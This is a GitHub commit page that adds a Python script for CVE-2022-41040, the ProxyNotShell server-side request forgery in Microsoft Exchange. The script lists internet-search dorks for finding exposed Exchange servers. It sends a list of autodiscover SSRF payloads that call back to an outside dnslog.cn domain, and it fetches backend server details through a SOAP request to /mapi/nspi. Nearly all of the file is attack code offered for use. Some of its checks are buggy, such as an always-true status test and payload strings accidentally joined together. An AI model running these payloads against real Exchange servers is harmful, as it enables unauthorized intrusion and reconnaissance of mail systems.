Skip to content

Commit f80c7a6

Browse files
committed
x 2022-11-11
1 parent 8a651a1 commit f80c7a6

File tree

1 file changed

+200
-0
lines changed

1 file changed

+200
-0
lines changed

tools/CVE-2022-41040.py

Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
#!/usr/bin/env python3
2+
# from metasploit import module
3+
4+
dependencies_missing = False
5+
import requests
6+
from urllib.parse import urlparse
7+
import subprocess
8+
import json
9+
import re,os,sys
10+
11+
metadata = {
12+
'name': 'Server Side Request Forgery (SSRF) in Microsoft Exchange Server',
13+
'description': '''
14+
Server Side Request Forgery (SSRF) in Microsoft Exchange Server
15+
dork: app="Microsoft-Exchange" (fofa)
16+
http.favicon.hash:1768726119 (Shodan)
17+
http.component:"outlook web app" (Shodan)
18+
http.component:"outlook web app" ssl:"hybrid" (Shodan)
19+
tag.name:"microsoft_exchange" prot7:http http.status_code:200 (Netlas.io)
20+
same_service(http://services.http.response.favicons.name: /owa/auth/ and services.http.response.html_title={"Outlook Web App", "Outlook"}) (Censys)
21+
''',
22+
'authors': ['Taroballz', 'ITRI-PTTeam'],
23+
'references': [
24+
{"type": "cve", "ref": "2022-41040"},
25+
],
26+
'date': "2022-10-20",
27+
"type": "single_scanner",
28+
"options": {
29+
'rport': {'type': 'int', 'description': 'port', 'required': True, 'default': 443},
30+
'rssl': {'type': 'bool', 'description': 'Negotiate SSL for outgoing connections', 'required': True, 'default': 'true'}
31+
}
32+
}
33+
34+
35+
36+
class Dnslog():
37+
38+
def __init__(self):
39+
try:
40+
self.s = requests.session()
41+
req = self.s.get("http://www.dnslog.cn/getdomain.php", timeout=30)
42+
self.domain = req.text
43+
except Exception as e:
44+
pass
45+
# print(str(e), 'error')
46+
47+
def pull_logs(self):
48+
try:
49+
req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30)
50+
return req.json()
51+
except Exception as e:
52+
pass
53+
# print(str(e), 'error')
54+
return None
55+
56+
57+
58+
def ip2domain(ip: str):
59+
try:
60+
process = subprocess.Popen(["nslookup", ip], stdout=subprocess.PIPE)
61+
output = str(process.communicate()[0])
62+
pattern = re.compile("name = ((([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*)")
63+
result = re.search(pattern, output)
64+
domain = result.group(1)
65+
if domain[:-1] == ".":
66+
domain = domain[:-1]
67+
return domain
68+
except Exception as e:
69+
print(str(e), 'error')
70+
71+
72+
73+
def getInfo(url: str):
74+
headers = {
75+
'Content-Type': 'text/xml',
76+
'Accept-Encoding': 'gzip, deflate',
77+
'Connection': 'close',
78+
}
79+
80+
data = '<?xml version=\'1.0\' encoding=\'utf-8\'?>\\x0d\\x0a <soap:Envelope\\x0d\\x0a xmlns:soap=\'http://schemas.xmlsoap.org/soap/envelope/\'\\x0d\\x0a xmlns:t=\'http://schemas.microsoft.com/exchange/services/2006/types\'\\x0d\\x0a xmlns:m=\'http://schemas.microsoft.com/exchange/services/2006/messages\'\\x0d\\x0a xmlns:xsi=\'http://www.w3.org/2001/XMLSchema-instance\'>\\x0d\\x0a <soap:Header>\\x0d\\x0a <t:RequestServerVersion Version=\\"Exchange2016\\" />\\x0d\\x0a </soap:Header>\\x0d\\x0a <soap:Body>\\x0d\\x0a <m:FindItem Traversal=\'Shallow\'>\\x0d\\x0a <m:ItemShape>\\x0d\\x0a <t:BaseShape>AllProperties</t:BaseShape>\\x0d\\x0a </m:ItemShape>\\x0d\\x0a <m:ParentFolderIds>\\x0d\\x0a <t:DistinguishedFolderId Id=\'inbox\'>\\x0d\\x0a <t:Mailbox>\\x0d\\x0a <t:EmailAddress>[email protected]</t:EmailAddress>\\x0d\\x0a </t:Mailbox>\\x0d\\x0a </t:DistinguishedFolderId>\\x0d\\x0a </m:ParentFolderIds>\\x0d\\x0a </m:FindItem>\\x0d\\x0a </soap:Body>\\x0d\\x0a </soap:Envelope>'
81+
header_field = {'computerName': 'X-FEServer',
82+
'backendname': 'X-CalculatedBETarget',
83+
'Application': 'X-ServerApplication'}
84+
try:
85+
response = requests.post(f'{url}/mapi/nspi', headers=headers, data=data, verify=False)
86+
print('Get some info about your target...')
87+
for k, v in header_field.items():
88+
try:
89+
print(k + ": " + response.headers[v], 'good')
90+
except Exception as ee:
91+
print(str(ee), 'error')
92+
continue
93+
except Exception as e:
94+
print(str(e), 'error')
95+
96+
97+
98+
def run(args):
99+
if dependencies_missing:
100+
print("Module dependencies (requests) missing, cannot continue", level="error")
101+
return
102+
103+
host = args['rhost']
104+
if host[-1:] == '/':
105+
host = host[:-1]
106+
if args["rssl"] == "true":
107+
sURL = 'https://' + host + ":" + args["rport"]
108+
else:
109+
sURL = "http://" + host + ":" + args["rport"]
110+
111+
print(f"Target URL: {sURL}")
112+
113+
domain = ip2domain(host)
114+
print(f"IPv4 look up to domain: {domain}", 'good')
115+
116+
headers = {
117+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 pp9520',
118+
'Accept': '*/*',
119+
'Accept-Language': 'en',
120+
'Accept-Encoding': 'gzip, deflate',
121+
'Connection': 'close'
122+
}
123+
124+
# for dns checking
125+
dns_callback = Dnslog()
126+
dns_callback_host = dns_callback.domain
127+
print(f"The test DNS server is '{dns_callback_host}'")
128+
129+
payload_list = [
130+
f'/autodiscover/autodiscover.json/v1.0/aa@{dns_callback_host}?Protocol=Autodiscoverv1',
131+
f'/autodiscover/autodiscover.json/v1.0/aa..{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a..{dns_callback_host}&Protocol=Autodiscoverv1&Protocol=Powershell',
132+
f'/autodiscover/autodiscover.json/v1.0/aa@{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a@{dns_callback_host}&Protocol=Autodiscoverv1&Protocol=Powershell',
133+
f'/autodiscover/autodiscover.json?aa..{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a..{dns_callback_host}&Protocol=Autodiscoverv1&{dns_callback_host}Protocol=Powershell',
134+
f'/autodiscover/autodiscover.json?aa@{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a@{dns_callback_host}&Protocol=Autodiscoverv1&{dns_callback_host}Protocol=Powershell',
135+
f'/autodiscover/autodiscover.json?aa..{dns_callback_host}/owa/?&Email=aa@autodiscover/autodiscover.json?a..{dns_callback_host}&Protocol=Autodiscoverv1&{dns_callback_host}Protocol=Powershell',
136+
f'/autodiscover/autodiscover.json?aa@{dns_callback_host}/owa/?&Email=aa@autodiscover/autodiscover.json?a@{dns_callback_host}&Protocol=Autodiscoverv1&{dns_callback_host}Protocol=Powershell',
137+
f'/autodiscover/autodiscover.json?aa..{dns_callback_host}/owa/?&Email=aa@autodiscover/autodiscover.json?a..{dns_callback_host}&Protocol=Autodiscoverv1&{dns_callback_host}Protocol=Powershell',
138+
f'/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@{dns_callback_host}&Protocol=Autodiscoverv1&Protocol=Powershell',
139+
"/autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL",
140+
f"/autodiscover/autodiscover.json?@{domain}/&Email=autodiscover/autodiscover.json%3f@{domain}",
141+
"/autodiscover/[email protected]/Powershell?=Email=autodiscover/autodiscover.json%[email protected]"
142+
f"/autodiscover/autodiscover.json?@{dns_callback_host}/&Email=autodiscover/autodiscover.json%3f@{dns_callback_host}",
143+
f"/autodiscover/autodiscover.json?@{domain}.v1.{dns_callback_host}/&Email=autodiscover/autodiscover.json%3f@{domain}.v1.{dns_callback_host}",
144+
f"/autodiscover/autodiscover.json/v1.0/aa@{domain}.v2.{dns_callback_host}?Protocol=Autodiscoverv1",
145+
f"/autodiscover/autodiscover.json/v1.0/aa..@{domain}.v3.{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a..@{domain}.v3.{dns_callback_host}&Protocol=Autodiscoverv1&Protocol=Powershell",
146+
f"/autodiscover/autodiscover.json/v1.0/aa@{domain}.v4.{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a@{domain}.v4.{dns_callback_host}&Protocol=Autodiscoverv1&Protocol=Powershell",
147+
f"/autodiscover/autodiscover.json?aa..{domain}.v5.{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a..{domain}.v5.{dns_callback_host}&Protocol=Autodiscoverv1&{domain}.v5.{dns_callback_host}Protocol=Powershell",
148+
f"/autodiscover/autodiscover.json?aa@{domain}.v6.{dns_callback_host}/owa/?&Email=autodiscover/autodiscover.json?a@{domain}.v6.{dns_callback_host}&Protocol=Autodiscoverv1&{domain}.v6.{dns_callback_host}Protocol=Powershell",
149+
f"/autodiscover/autodiscover.json?aa..{domain}.v7.{dns_callback_host}/owa/?&Email=aa@autodiscover/autodiscover.json?a..{domain}.v7.{dns_callback_host}&Protocol=Autodiscoverv1&{domain}.v7.{dns_callback_host}Protocol=Powershell",
150+
f"/autodiscover/autodiscover.json?aa@{domain}.v8.{dns_callback_host}/owa/?&Email=aa@autodiscover/autodiscover.json?a@{domain}.v8.{dns_callback_host}&Protocol=Autodiscoverv1&{domain}.v8.{dns_callback_host}Protocol=Powershell",
151+
f"/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@{domain}.v9.{dns_callback_host}&Protocol=Autodiscoverv1&Protocol=Powershell"
152+
"/autodiscover/[email protected]/owa/&Email=autodiscover/[email protected]&Protocol=XYZ&FooProtocol=Powershell"
153+
"/autodiscover/[email protected]/owa/?&Email=autodiscover/autodiscover.json%[email protected]"
154+
]
155+
156+
for payload in payload_list:
157+
url = sURL + payload
158+
try:
159+
req = requests.get(url, headers=headers, verify=False)
160+
print(req.text)
161+
if req.status_code == 200 or req.status_code == 302:
162+
print(f"GET request '{url}' success", 'good')
163+
else:
164+
print(f"GET request '{url}' failed", 'error')
165+
continue
166+
records = dns_callback.pull_logs()
167+
if len(records) == 0:
168+
pass
169+
else:
170+
print(f"The target {sURL} seems to be vuln by CVE-2022-41040", "good")
171+
print(f"payload: {payload}", 'good')
172+
break
173+
174+
if (dns_callback_host in req.headers) or (req.status_code == 200, 302) or ("IIS Web Core" in req.text) or ('X-FEServer' in req.headers):
175+
print('This site is vulnerable to SSRF Check your collabrator client.', 'good')
176+
break
177+
else:
178+
print('It seems not vulnerable, but check your collabrator client!', 'error')
179+
180+
except Exception as e:
181+
print(str(e), 'error')
182+
183+
else:
184+
print(f"The target seems NOT vuln by CVE-2022-41040", "error")
185+
exit()
186+
187+
getInfo(sURL)
188+
189+
190+
if __name__ == '__main__':
191+
k=sys.argv[1]
192+
print(k)
193+
oH=urlparse(k)
194+
metadata["rssl"] = "false"
195+
if k in "https://":
196+
metadata["rssl"] = "true"
197+
198+
metadata["rhost"] = oH.hostname
199+
metadata["rport"] = str(oH.port)
200+
run(metadata)

0 commit comments

Comments
 (0)